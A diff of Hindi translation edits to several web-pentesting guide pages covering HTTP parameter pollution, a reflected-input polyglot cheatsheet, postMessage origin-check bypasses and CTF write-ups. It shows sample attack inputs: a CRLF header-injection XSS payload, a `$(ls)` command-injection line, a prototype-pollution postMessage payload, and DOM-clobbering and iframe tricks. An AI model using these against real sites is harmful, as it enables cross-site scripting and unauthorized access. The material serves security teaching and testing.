- **Scenario:** एक एप्लिकेशन उपयोगकर्ताओं को उनके प्रोफ़ाइल सेटिंग्स पृष्ठ के माध्यम से API कुंजी को अपडेट करने की अनुमति देता है।
|
||||
- **Attack Vector:** एक हमलावर यह पता लगाता है कि POST अनुरोध में एक अतिरिक्त `api_key` पैरामीटर जोड़कर, वे API कुंजी अपडेट फ़ंक्शन के परिणाम को हेरफेर कर सकते हैं।
|
||||
- **Technique:** Burp Suite जैसे उपकरण का उपयोग करते हुए, हमलावर एक अनुरोध तैयार करता है जिसमें दो `api_key` पैरामीटर होते हैं: एक वैध और एक दुर्भावनापूर्ण। सर्वर, केवल अंतिम घटना को संसाधित करते हुए, API कुंजी को हमलावर द्वारा प्रदान किए गए मान पर अपडेट करता है।
|
||||
- **Result:** हमलावर पीड़ित की API कार्यक्षमता पर नियंत्रण प्राप्त करता है, संभावित रूप से निजी डेटा तक अनधिकृत पहुंच या संशोधन कर सकता है।
|
||||
@ -79,7 +79,7 @@ There results were taken from [https://medium.com/@0xAwali/http-parameter-pollut
|
||||
|
||||
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping।
|
||||
2. POST RequestMapping & PostMapping नाम\[] को मान्यता देते हैं।
|
||||
3. यदि नाम और नाम\[] दोनों मौजूद हैं तो नाम को प्राथमिकता दें।
|
||||
3. यदि name और name\[] दोनों मौजूद हैं तो नाम को प्राथमिकता दें।
|
||||
4. पैरामीटर को जोड़ें जैसे कि first,last।
|
||||
5. POST RequestMapping & PostMapping सामग्री प्रकार के साथ क्वेरी पैरामीटर को मान्यता देते हैं।
|
||||
|
||||
@ -148,15 +148,15 @@ obj = {"test": "user", "test": "admin"}
|
||||
```ini
|
||||
obj = {"description": "Duplicate with comments", "test": 2, "extra": /*, "test": 1, "extra2": */}
|
||||
```
|
||||
यहाँ हम प्रत्येक पार्सर से सीरियलाइज़र का उपयोग करेंगे ताकि इसके संबंधित आउटपुट को देखा जा सके।
|
||||
यहाँ हम प्रत्येक पार्सर से सीरियलाइज़र का उपयोग करेंगे ताकि इसके संबंधित आउटपुट को देख सकें।
|
||||
|
||||
सीरियलाइज़र 1 (जैसे, GoLang का GoJay लाइब्रेरी) निम्नलिखित उत्पन्न करेगा:
|
||||
सीरियलाइज़र 1 (जैसे, GoLang का GoJay लाइब्रेरी) उत्पादन करेगा:
|
||||
|
||||
- `description = "Duplicate with comments"`
|
||||
- `test = 2`
|
||||
- `extra = ""`
|
||||
|
||||
सीरियलाइज़र 2 (जैसे, Java का JSON-iterator लाइब्रेरी) निम्नलिखित उत्पन्न करेगा:
|
||||
सीरियलाइज़र 2 (जैसे, Java का JSON-iterator लाइब्रेरी) उत्पादन करेगा:
|
||||
|
||||
- `description = "Duplicate with comments"`
|
||||
- `extra = "/*"`
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
इन PoCs और Polygloths का लक्ष्य परीक्षक को एक तेज **सारांश** देना है कि वह किन कमजोरियों का शोषण कर सकता है यदि उसका **इनपुट किसी तरह प्रतिक्रिया में परिलक्षित हो रहा है**।
|
||||
इन PoCs और Polygloths का लक्ष्य परीक्षक को उन कमजोरियों का तेज़ **सारांश** देना है जिन्हें वह शोषण कर सकता है यदि उसका **इनपुट किसी तरह प्रतिक्रिया में परिलक्षित हो रहा है**।
|
||||
|
||||
> [!WARNING]
|
||||
> यह **cheatsheet प्रत्येक कमजोरी के लिए परीक्षणों की एक व्यापक सूची का प्रस्ताव नहीं करती है**, केवल कुछ बुनियादी। यदि आप अधिक व्यापक परीक्षणों की तलाश कर रहे हैं, तो प्रत्येक प्रस्तावित कमजोरी तक पहुँचें।
|
||||
|
||||
> [!CAUTION]
|
||||
> आप **Content-Type निर्भर इंजेक्शन जैसे XXE** नहीं पाएंगे, क्योंकि आमतौर पर आप उन्हें स्वयं आजमाएंगे यदि आप एक अनुरोध पाते हैं जो xml डेटा भेजता है। आप यहाँ **डेटाबेस इंजेक्शन** भी नहीं पाएंगे क्योंकि भले ही कुछ सामग्री परिलक्षित हो सकती है, यह बैकएंड DB प्रौद्योगिकी और संरचना पर बहुत निर्भर करता है।
|
||||
> आप **Content-Type निर्भर इंजेक्शन जैसे XXE** नहीं पाएंगे, क्योंकि आमतौर पर आप उन्हें स्वयं आजमाएंगे यदि आप xml डेटा भेजने वाला अनुरोध पाते हैं। आप यहाँ **डेटाबेस इंजेक्शन** भी नहीं पाएंगे क्योंकि भले ही कुछ सामग्री परिलक्षित हो सकती है, यह बैकएंड DB प्रौद्योगिकी और संरचना पर बहुत निर्भर करता है।
|
||||
|
||||
## Polygloths list
|
||||
```python
|
||||
@ -88,7 +88,7 @@ $(ls)
|
||||
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
||||
```
|
||||
## लटकता मार्कअप
|
||||
## लटकते मार्कअप
|
||||
|
||||
### बुनियादी परीक्षण
|
||||
```markup
|
||||
|
@ -36,7 +36,7 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||||
**दूसरे परिदृश्य** में, **संदेश केवल उस डोमेन पर भेजा जा सकता है** (भले ही विंडो ऑब्जेक्ट का मूल अलग हो)।\
|
||||
यदि **wildcard** का उपयोग किया जाता है, तो **संदेश किसी भी डोमेन पर भेजे जा सकते हैं**, और यह विंडो ऑब्जेक्ट के मूल पर भेजे जाएंगे।
|
||||
|
||||
### Attacking iframe & wildcard in **targetOrigin**
|
||||
### **targetOrigin** में iframe और wildcard पर हमला
|
||||
|
||||
जैसा कि [**इस रिपोर्ट**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) में बताया गया है, यदि आप एक पृष्ठ पाते हैं जिसे **iframed** किया जा सकता है (कोई `X-Frame-Header` सुरक्षा नहीं) और जो **संवेदनशील** संदेश को **postMessage** के माध्यम से **wildcard** (\*) का उपयोग करके भेज रहा है, तो आप **iframe** के **origin** को **संशोधित** कर सकते हैं और **संवेदनशील** संदेश को एक डोमेन पर लीक कर सकते हैं जिसे आप नियंत्रित करते हैं।\
|
||||
ध्यान दें कि यदि पृष्ठ को iframed किया जा सकता है लेकिन **targetOrigin** **एक URL पर सेट है और wildcard पर नहीं**, तो यह **चाल काम नहीं करेगी**।
|
||||
@ -69,18 +69,18 @@ if (event.origin !== "http://example.org:8080") return
|
||||
false
|
||||
)
|
||||
```
|
||||
इस मामले में, कोड का **पहला काम** **उत्पत्ति की जांच करना** है। यह बहुत **महत्वपूर्ण** है, खासकर यदि पृष्ठ प्राप्त जानकारी के साथ **कोई संवेदनशील कार्य** करने जा रहा है (जैसे पासवर्ड बदलना)। **यदि यह उत्पत्ति की जांच नहीं करता है, तो हमलावर पीड़ितों को इस एंडपॉइंट्स पर मनमाना डेटा भेजने के लिए मजबूर कर सकते हैं** और पीड़ितों के पासवर्ड बदल सकते हैं (इस उदाहरण में)।
|
||||
नोट करें कि इस मामले में कोड का **पहला काम** **उत्पत्ति की जांच करना** है। यह बहुत **महत्वपूर्ण** है, खासकर यदि पृष्ठ प्राप्त जानकारी के साथ **कोई संवेदनशील कार्य** करने जा रहा है (जैसे पासवर्ड बदलना)। **यदि यह उत्पत्ति की जांच नहीं करता है, तो हमलावर पीड़ितों को इस एंडपॉइंट्स पर मनमाना डेटा भेजने के लिए मजबूर कर सकते हैं** और पीड़ितों के पासवर्ड बदल सकते हैं (इस उदाहरण में)।
|
||||
|
||||
### गणना
|
||||
|
||||
वर्तमान पृष्ठ में **इवेंट लिसनर्स** खोजने के लिए आप:
|
||||
वर्तमान पृष्ठ में **इवेंट लिस्नर्स** खोजने के लिए आप कर सकते हैं:
|
||||
|
||||
- **खोजें** JS कोड में `window.addEventListener` और `$(window).on` (_JQuery संस्करण_)
|
||||
- **निष्पादित करें** डेवलपर टूल्स कंसोल में: `getEventListeners(window)`
|
||||
- **JS कोड में खोजें** `window.addEventListener` और `$(window).on` (_JQuery संस्करण_)
|
||||
- डेवलपर टूल्स कंसोल में **निष्पादित करें**: `getEventListeners(window)`
|
||||
|
||||
 (1).png>)
|
||||
|
||||
- डेवलपर टूल्स में _Elements --> Event Listeners_ पर **जाएं**
|
||||
- ब्राउज़र के डेवलपर टूल्स में _Elements --> Event Listeners_ पर **जाएं**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -88,21 +88,21 @@ false
|
||||
|
||||
### उत्पत्ति जांच बायपास
|
||||
|
||||
- **`event.isTrusted`** विशेषता को सुरक्षित माना जाता है क्योंकि यह केवल उन घटनाओं के लिए `True` लौटाती है जो वास्तविक उपयोगकर्ता क्रियाओं द्वारा उत्पन्न होती हैं। हालांकि, यदि इसे सही तरीके से लागू किया जाए तो इसे बायपास करना चुनौतीपूर्ण है, इसकी सुरक्षा जांचों में महत्व उल्लेखनीय है।
|
||||
- **`event.isTrusted`** विशेषता को सुरक्षित माना जाता है क्योंकि यह केवल उन घटनाओं के लिए `True` लौटाती है जो वास्तविक उपयोगकर्ता क्रियाओं द्वारा उत्पन्न होती हैं। हालांकि, यदि इसे सही तरीके से लागू किया जाए तो इसे बायपास करना चुनौतीपूर्ण है, लेकिन सुरक्षा जांच में इसका महत्व उल्लेखनीय है।
|
||||
- PostMessage घटनाओं में उत्पत्ति सत्यापन के लिए **`indexOf()`** का उपयोग बायपास के लिए संवेदनशील हो सकता है। इस भेद्यता को दर्शाने वाला एक उदाहरण है:
|
||||
|
||||
```javascript
|
||||
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
|
||||
```
|
||||
|
||||
- `String.prototype.search()` से **`search()`** विधि नियमित अभिव्यक्तियों के लिए है, न कि स्ट्रिंग्स के लिए। किसी भी चीज़ को regexp के अलावा पास करने से regex में निहित परिवर्तन होता है, जिससे यह विधि संभावित रूप से असुरक्षित हो जाती है। इसका कारण यह है कि regex में, एक बिंदु (.) एक वाइल्डकार्ड के रूप में कार्य करता है, जिससे विशेष रूप से तैयार किए गए डोमेन के साथ सत्यापन को बायपास करना संभव हो जाता है। उदाहरण के लिए:
|
||||
- `String.prototype.search()` से **`search()`** विधि नियमित अभिव्यक्तियों के लिए है, न कि स्ट्रिंग्स के लिए। किसी भी चीज़ को regexp के अलावा पास करने से regex में निहित परिवर्तन होता है, जिससे विधि संभावित रूप से असुरक्षित हो जाती है। इसका कारण यह है कि regex में, एक बिंदु (.) एक वाइल्डकार्ड के रूप में कार्य करता है, जिससे विशेष रूप से तैयार किए गए डोमेन के साथ सत्यापन को बायपास करना संभव हो जाता है। उदाहरण के लिए:
|
||||
|
||||
```javascript
|
||||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||||
```
|
||||
|
||||
- **`match()`** फ़ंक्शन, जो `search()` के समान है, regex को संसाधित करता है। यदि regex ठीक से संरचित नहीं है, तो यह बायपास के लिए संवेदनशील हो सकता है।
|
||||
- **`escapeHtml`** फ़ंक्शन इनपुट को स्वच्छ करने के लिए डिज़ाइन किया गया है। हालाँकि, यह एक नया escaped ऑब्जेक्ट नहीं बनाता है बल्कि मौजूदा ऑब्जेक्ट की प्रॉपर्टीज़ को ओवरराइट करता है। इस व्यवहार का शोषण किया जा सकता है। विशेष रूप से, यदि एक ऑब्जेक्ट को इस तरह से हेरफेर किया जा सकता है कि इसकी नियंत्रित प्रॉपर्टी `hasOwnProperty` को मान्यता नहीं देती है, तो `escapeHtml` अपेक्षित रूप से कार्य नहीं करेगा। यह नीचे दिए गए उदाहरणों में प्रदर्शित किया गया है:
|
||||
- **`match()`** फ़ंक्शन, `search()` के समान, regex को संसाधित करता है। यदि regex ठीक से संरचित नहीं है, तो यह बायपास के लिए संवेदनशील हो सकता है।
|
||||
- **`escapeHtml`** फ़ंक्शन का उद्देश्य इनपुट को स्वच्छ करना है। हालाँकि, यह एक नयाescaped ऑब्जेक्ट नहीं बनाता है बल्कि मौजूदा ऑब्जेक्ट की प्रॉपर्टीज़ को ओवरराइट करता है। इस व्यवहार का शोषण किया जा सकता है। विशेष रूप से, यदि एक ऑब्जेक्ट को इस तरह से हेरफेर किया जा सकता है कि इसकी नियंत्रित प्रॉपर्टी `hasOwnProperty` को मान्यता नहीं देती है, तो `escapeHtml` अपेक्षित रूप से कार्य नहीं करेगा। यह नीचे दिए गए उदाहरणों में प्रदर्शित किया गया है:
|
||||
|
||||
- अपेक्षित विफलता:
|
||||
|
||||
@ -120,17 +120,17 @@ result = u(new Error("'\"<b>\\"))
|
||||
result.message // "'"<b>\"
|
||||
```
|
||||
|
||||
इस भेद्यता के संदर्भ में, `File` ऑब्जेक्ट अपने पढ़ने योग्य `name` प्रॉपर्टी के कारण विशेष रूप से शोषण योग्य है। इस प्रॉपर्टी का उपयोग टेम्पलेट्स में किया जाता है, जो `escapeHtml` फ़ंक्शन द्वारा स्वच्छ नहीं किया जाता है, जिससे संभावित सुरक्षा जोखिम उत्पन्न होते हैं।
|
||||
इस भेद्यता के संदर्भ में, `File` ऑब्जेक्ट विशेष रूप से शोषण योग्य है क्योंकि इसका पढ़ने योग्य `name` प्रॉपर्टी है। इस प्रॉपर्टी का उपयोग टेम्पलेट्स में किया जाता है, जो `escapeHtml` फ़ंक्शन द्वारा स्वच्छ नहीं किया जाता है, जिससे संभावित सुरक्षा जोखिम उत्पन्न होते हैं।
|
||||
|
||||
- JavaScript में `document.domain` प्रॉपर्टी को एक स्क्रिप्ट द्वारा डोमेन को छोटा करने के लिए सेट किया जा सकता है, जिससे समान मूल नीति प्रवर्तन में अधिक ढील दी जा सके।
|
||||
|
||||
### e.origin == window.origin बायपास
|
||||
|
||||
जब %%%%%% का उपयोग करके एक **सैंडबॉक्स्ड iframe** के भीतर एक वेब पृष्ठ को एम्बेड किया जाता है, तो यह समझना महत्वपूर्ण है कि iframe की उत्पत्ति `null` पर सेट की जाएगी। यह विशेष रूप से **सैंडबॉक्स विशेषताओं** और उनकी सुरक्षा और कार्यक्षमता पर प्रभावों के साथ काम करते समय महत्वपूर्ण है।
|
||||
जब %%%%%% का उपयोग करके एक **सैंडबॉक्स्ड iframe** के भीतर एक वेब पृष्ठ को एम्बेड किया जाता है, तो यह समझना महत्वपूर्ण है कि iframe की उत्पत्ति `null` पर सेट की जाएगी। यह विशेष रूप से **सैंडबॉक्स विशेषताओं** और उनके सुरक्षा और कार्यक्षमता पर प्रभावों के संबंध में महत्वपूर्ण है।
|
||||
|
||||
सैंडबॉक्स विशेषता में **`allow-popups`** निर्दिष्ट करने से, iframe के भीतर से खोला गया कोई भी पॉपअप विंडो अपने माता-पिता की सैंडबॉक्स प्रतिबंधों को विरासत में लेता है। इसका मतलब है कि जब तक **`allow-popups-to-escape-sandbox`** विशेषता भी शामिल नहीं की जाती, पॉपअप विंडो की उत्पत्ति भी `null` पर सेट होती है, जो iframe की उत्पत्ति के साथ मेल खाती है।
|
||||
|
||||
इसलिए, जब इन परिस्थितियों के तहत एक पॉपअप खोला जाता है और iframe से पॉपअप में **`postMessage`** का उपयोग करके एक संदेश भेजा जाता है, तो भेजने और प्राप्त करने वाले दोनों पक्षों की उत्पत्ति `null` पर सेट होती है। यह स्थिति एक परिदृश्य की ओर ले जाती है जहां **`e.origin == window.origin`** सत्यापित होता है (`null == null`), क्योंकि iframe और पॉपअप दोनों का उत्पत्ति मान `null` है।
|
||||
इसलिए, जब इन परिस्थितियों के तहत एक पॉपअप खोला जाता है और iframe से पॉपअप में **`postMessage`** का उपयोग करके एक संदेश भेजा जाता है, तो भेजने और प्राप्त करने वाले दोनों अंत `null` पर अपनी उत्पत्तियों को सेट करते हैं। यह स्थिति एक परिदृश्य की ओर ले जाती है जहां **`e.origin == window.origin`** सत्य ( `null == null` ) के रूप में मूल्यांकन करता है, क्योंकि iframe और पॉपअप दोनों का उत्पत्ति मान `null` है।
|
||||
|
||||
अधिक जानकारी के लिए **पढ़ें**:
|
||||
|
||||
@ -140,14 +140,14 @@ bypassing-sop-with-iframes-1.md
|
||||
|
||||
### e.source को बायपास करना
|
||||
|
||||
यह जांचना संभव है कि क्या संदेश उसी विंडो से आया है जिसमें स्क्रिप्ट सुन रही है (विशेष रूप से **ब्राउज़र एक्सटेंशन से सामग्री स्क्रिप्ट्स** के लिए यह जांचने के लिए कि क्या संदेश उसी पृष्ठ से भेजा गया था):
|
||||
यह जांचना संभव है कि क्या संदेश उसी विंडो से आया है जिसमें स्क्रिप्ट सुन रही है (विशेष रूप से **ब्राउज़र एक्सटेंशनों से सामग्री स्क्रिप्ट्स** के लिए यह जांचने के लिए कि क्या संदेश उसी पृष्ठ से भेजा गया था):
|
||||
```javascript
|
||||
// If it’s not, return immediately.
|
||||
if (received_message.source !== window) {
|
||||
return
|
||||
}
|
||||
```
|
||||
आप **`e.source`** को null करने के लिए एक **iframe** बना सकते हैं जो **postMessage** भेजता है और जिसे **तुरंत हटा दिया जाता है**।
|
||||
आप **`e.source`** को null करने के लिए एक **iframe** बना सकते हैं जो **postMessage** भेजता है और **तुरंत हटा दिया जाता है**।
|
||||
|
||||
अधिक जानकारी के लिए **पढ़ें:**
|
||||
|
||||
@ -157,7 +157,7 @@ bypassing-sop-with-iframes-2.md
|
||||
|
||||
### X-Frame-Header बायपास
|
||||
|
||||
इन हमलों को करने के लिए, आदर्श रूप से आप **पीड़ित वेब पृष्ठ** को एक `iframe` के अंदर रख पाएंगे। लेकिन कुछ हेडर जैसे `X-Frame-Header` उस **व्यवहार** को **रोक** सकते हैं।\
|
||||
इन हमलों को करने के लिए, आदर्श रूप से आप **शिकार वेब पृष्ठ** को एक `iframe` के अंदर रख पाएंगे। लेकिन कुछ हेडर जैसे `X-Frame-Header` उस **व्यवहार** को **रोक** सकते हैं।\
|
||||
उन परिदृश्यों में, आप अभी भी एक कम छिपे हुए हमले का उपयोग कर सकते हैं। आप कमजोर वेब एप्लिकेशन के लिए एक नया टैब खोल सकते हैं और इसके साथ संवाद कर सकते हैं:
|
||||
```markup
|
||||
<script>
|
||||
@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
```
|
||||
### बच्चे को भेजे गए संदेश को मुख्य पृष्ठ को ब्लॉक करके चुराना
|
||||
|
||||
निम्नलिखित पृष्ठ में आप देख सकते हैं कि आप **संवेदनशील postmessage डेटा** को **बच्चे के iframe** में कैसे चुरा सकते हैं, **मुख्य** पृष्ठ को डेटा भेजने से पहले **ब्लॉक** करके और **बच्चे में XSS** का दुरुपयोग करके **डेटा लीक** करने से पहले:
|
||||
निम्नलिखित पृष्ठ में आप देख सकते हैं कि आप कैसे एक **संवेदनशील पोस्टमैसेज डेटा** को **बच्चे के iframe** को भेजने से पहले **मुख्य** पृष्ठ को **ब्लॉक** करके और **बच्चे में XSS** का दुरुपयोग करके **डेटा लीक** कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
blocking-main-page-to-steal-postmessage.md
|
||||
@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
|
||||
|
||||
### iframe स्थान को संशोधित करके संदेश चुराना
|
||||
|
||||
यदि आप बिना X-Frame-Header के एक वेबपृष्ठ को iframe कर सकते हैं जिसमें एक और iframe है, तो आप उस बच्चे के iframe का **स्थान बदल** सकते हैं, इसलिए यदि यह एक **postmessage** प्राप्त कर रहा है जो **wildcard** का उपयोग करके भेजा गया है, तो एक हमलावर उस iframe का **उत्पत्ति** एक पृष्ठ में **बदल** सकता है जो उसके द्वारा **नियंत्रित** है और संदेश **चुरा** सकता है:
|
||||
यदि आप बिना X-Frame-Header के एक वेबपृष्ठ को iframe कर सकते हैं जिसमें एक और iframe है, तो आप उस बच्चे के iframe का **स्थान बदल** सकते हैं, इसलिए यदि यह एक **पोस्टमैसेज** प्राप्त कर रहा है जो **वाइल्डकार्ड** का उपयोग करके भेजा गया है, तो एक हमलावर उस iframe का **उत्पत्ति** एक पृष्ठ में **बदल** सकता है जो उसके द्वारा **नियंत्रित** है और संदेश **चुरा** सकता है:
|
||||
|
||||
{{#ref}}
|
||||
steal-postmessage-modifying-iframe-location.md
|
||||
@ -183,11 +183,11 @@ steal-postmessage-modifying-iframe-location.md
|
||||
|
||||
### postMessage से प्रोटोटाइप प्रदूषण और/या XSS
|
||||
|
||||
ऐसे परिदृश्यों में जहां `postMessage` के माध्यम से भेजा गया डेटा JS द्वारा निष्पादित होता है, आप **पृष्ठ** को **iframe** कर सकते हैं और **प्रोटोटाइप प्रदूषण/XSS** का **दुरुपयोग** कर सकते हैं, जो `postMessage` के माध्यम से शोषण भेजता है।
|
||||
उन परिदृश्यों में जहां `postMessage` के माध्यम से भेजा गया डेटा JS द्वारा निष्पादित होता है, आप **पृष्ठ** को **iframe** कर सकते हैं और **प्रोटोटाइप प्रदूषण/XSS** का **दुरुपयोग** कर सकते हैं, जो कि `postMessage` के माध्यम से शोषण भेजकर किया जाता है।
|
||||
|
||||
**postMessage के माध्यम से बहुत अच्छे से समझाए गए XSS** के कुछ उदाहरण [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) में पाए जा सकते हैं।
|
||||
**postMessage के माध्यम से बहुत अच्छे से समझाए गए XSS** के कुछ उदाहरण [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) पर मिल सकते हैं।
|
||||
|
||||
एक `iframe` के लिए `postMessage` के माध्यम से **प्रोटोटाइप प्रदूषण और फिर XSS** का दुरुपयोग करने का एक उदाहरण:
|
||||
एक शोषण का उदाहरण जो **प्रोटोटाइप प्रदूषण और फिर XSS** का दुरुपयोग करता है `postMessage` के माध्यम से एक `iframe` में:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
|
@ -6,13 +6,13 @@
|
||||
|
||||
इसके अनुसार [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) null origins से बनाए गए blob दस्तावेज़ सुरक्षा लाभों के लिए अलग किए जाते हैं, जिसका अर्थ है कि यदि आप मुख्य पृष्ठ को व्यस्त रखते हैं, तो iframe पृष्ठ निष्पादित होगा।
|
||||
|
||||
बुनियादी रूप से उस चुनौती में एक **अलग iframe निष्पादित होता है** और ठीक **बाद में** जब यह **लोड** होता है, तो **माता-पिता** पृष्ठ एक **पोस्ट** संदेश के साथ **झंडा** भेजने वाला है।\
|
||||
बुनियादी रूप से, उस चुनौती में एक **अलग iframe निष्पादित होता है** और ठीक **बाद में** जब यह **लोड** होता है, तो **माता-पिता** पृष्ठ **एक पोस्ट** संदेश के साथ **झंडा** भेजने वाला है।\
|
||||
हालांकि, वह postmessage संचार **XSS के लिए संवेदनशील है** (iframe JS कोड निष्पादित कर सकता है)।
|
||||
|
||||
इसलिए, हमलावर का लक्ष्य है कि **माता-पिता iframe बनाए**, लेकिन **पहले** माता-पिता पृष्ठ **संवेदनशील डेटा** (**झंडा**) को **भेजने** से पहले **उसे व्यस्त** रखें और **पेलोड को iframe में भेजें**। जबकि **माता-पिता व्यस्त हैं**, **iframe पेलोड को निष्पादित करता है** जो कुछ JS होगा जो **माता-पिता postmessage संदेश को सुनता है और झंडा लीक करता है**।\
|
||||
इसलिए, हमलावर का लक्ष्य है कि **माता-पिता iframe बनाए**, लेकिन **पहले** माता-पिता पृष्ठ **संवेदनशील डेटा** (**झंडा**) को **भेजने से पहले** इसे **व्यस्त** रखे और **पेलोड को iframe में भेजे**। जबकि **माता-पिता व्यस्त हैं**, **iframe पेलोड को निष्पादित करता है** जो कुछ JS होगा जो **माता-पिता postmessage संदेश को सुनता है और झंडा लीक करता है**।\
|
||||
अंत में, iframe ने पेलोड को निष्पादित किया और माता-पिता पृष्ठ व्यस्त रहना बंद कर देता है, इसलिए यह झंडा भेजता है और पेलोड इसे लीक करता है।
|
||||
|
||||
लेकिन आप माता-पिता को **व्यस्त कैसे रख सकते हैं जब उसने iframe उत्पन्न किया और बस जब वह संवेदनशील डेटा भेजने के लिए iframe के तैयार होने की प्रतीक्षा कर रहा है?** बुनियादी रूप से, आपको **async** **क्रिया** खोजने की आवश्यकता है जिसे आप माता-पिता को **निष्पादित** करवा सकते हैं। उदाहरण के लिए, उस चुनौती में माता-पिता **postmessages** को इस तरह **सुन रहा था**:
|
||||
लेकिन आप माता-पिता को **व्यस्त कैसे रख सकते हैं जब उसने iframe उत्पन्न किया और बस जब वह संवेदनशील डेटा भेजने के लिए iframe के तैयार होने की प्रतीक्षा कर रहा है?** बुनियादी रूप से, आपको **async** **क्रिया** खोजने की आवश्यकता है जिसे आप माता-पिता को **निष्पादित** करवा सकते हैं। उदाहरण के लिए, उस चुनौती में माता-पिता **postmessages** के लिए **सुन रहा था**:
|
||||
```javascript
|
||||
window.addEventListener("message", (e) => {
|
||||
if (e.data == "blob loaded") {
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Iframes in SOP-1
|
||||
|
||||
इस [**चुनौती**](https://github.com/terjanq/same-origin-xss) में जो [**NDevTK**](https://github.com/NDevTK) और [**Terjanq**](https://github.com/terjanq) द्वारा बनाई गई है, आपको कोड में XSS का लाभ उठाना है।
|
||||
इस [**चुनौती**](https://github.com/terjanq/same-origin-xss) को [**NDevTK**](https://github.com/NDevTK) और [**Terjanq**](https://github.com/terjanq) द्वारा बनाया गया है, आपको कोड में XSS का लाभ उठाना है।
|
||||
```javascript
|
||||
const identifier = "4a600cd2d4f9aa1cfb5aa786"
|
||||
onmessage = (e) => {
|
||||
@ -34,7 +34,7 @@ renderContainer.innerHTML = data.body
|
||||
|
||||
इसलिए, इस चुनौती के लिए, कोई **iframe** **बनाकर**, **vulnerable XSS code handler** (`/iframe.php`) के साथ पृष्ठ के लिए एक पॉपअप **खोल सकता है**, क्योंकि `window.origin === e.origin` क्योंकि दोनों `null` हैं, इसलिए **एक payload भेजना संभव है जो XSS का शोषण करेगा**।
|
||||
|
||||
वह **payload** **identifier** प्राप्त करेगा और **XSS** को **ऊपर के पृष्ठ** (पृष्ठ जो पॉपअप खोलता है) पर **वापस भेजेगा**, **जो** **स्थान** को **vulnerable** `/iframe.php` पर **बदल देगा**। चूंकि पहचानकर्ता ज्ञात है, इसलिए यह मायने नहीं रखता कि शर्त `window.origin === e.origin` संतुष्ट नहीं है (याद रखें, origin वह **popup** है जो iframe से **origin** **`null`** है) क्योंकि `data.identifier === identifier`। फिर, **XSS फिर से ट्रिगर होगा**, इस बार सही origin में।
|
||||
वह **payload** **identifier** प्राप्त करेगा और **XSS** को **ऊपर के पृष्ठ** (पृष्ठ जो पॉपअप खोलता है) पर भेजेगा, **जो** **स्थान** को **vulnerable** `/iframe.php` पर **बदल देगा**। चूंकि पहचानकर्ता ज्ञात है, इसलिए यह मायने नहीं रखता कि शर्त `window.origin === e.origin` संतुष्ट नहीं है (याद रखें, origin **iframe** से **popup** है जिसका **origin** **`null`** है) क्योंकि `data.identifier === identifier`। फिर, **XSS फिर से ट्रिगर होगा**, इस बार सही origin में।
|
||||
```html
|
||||
<body>
|
||||
<script>
|
||||
|
@ -16,7 +16,7 @@ if (e.source == window.calc.contentWindow && e.data.token == window.token) {
|
||||
|
||||
- **`window.calc.contentWindow`** वास्तव में **`document.getElementById("calc")`** है। आप **`document.getElementById`** को **`<img name=getElementById />`** के साथ क्लॉबर कर सकते हैं (ध्यान दें कि Sanitizer API -[यहाँ](https://wicg.github.io/sanitizer-api/#dom-clobbering)- डिफ़ॉल्ट स्थिति में DOM क्लॉबरिंग हमलों से सुरक्षा के लिए कॉन्फ़िगर नहीं की गई है)।
|
||||
- इसलिए, आप **`document.getElementById("calc")`** को **`<img name=getElementById /><div id=calc></div>`** के साथ क्लॉबर कर सकते हैं। फिर, **`window.calc`** **`undefined`** होगा।
|
||||
- अब, हमें **`e.source`** को **`undefined`** या **`null`** होना चाहिए (क्योंकि `==` का उपयोग किया गया है बजाय `===`, **`null == undefined`** **`True`** है)। इसे प्राप्त करना "आसान" है। यदि आप एक **iframe** बनाते हैं और इससे **postMessage** भेजते हैं और तुरंत **iframe** को **हटाते** हैं, तो **`e.origin`** **`null`** होगा। निम्नलिखित कोड की जांच करें
|
||||
- अब, हमें **`e.source`** को **`undefined`** या **`null`** होना चाहिए (क्योंकि `==` का उपयोग किया गया है बजाय `===`, **`null == undefined`** **`True`** है)। इसे प्राप्त करना "आसान" है। यदि आप एक **iframe** बनाते हैं और इससे **postMessage** भेजते हैं और तुरंत **iframe** को **हटाते** हैं, तो **`e.origin`** **`null`** होगा। निम्नलिखित कोड देखें
|
||||
```javascript
|
||||
let iframe = document.createElement("iframe")
|
||||
document.body.appendChild(iframe)
|
||||
@ -30,7 +30,7 @@ document.body.removeChild(iframe) //e.origin === null
|
||||
- मान **`null`** के साथ postMessage में `token` भेजना तुच्छ है।
|
||||
- **`window.token`** को कॉल करते समय **`getCookie`** फ़ंक्शन में जो **`document.cookie`** का उपयोग करता है। ध्यान दें कि **`null`** मूल पृष्ठों में **`document.cookie`** तक किसी भी पहुंच से **error** उत्पन्न होती है। इससे **`window.token`** का मान **`undefined`** हो जाएगा।
|
||||
|
||||
अंतिम समाधान [**@terjanq**](https://twitter.com/terjanq) द्वारा है जो [**निम्नलिखित**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html) है:
|
||||
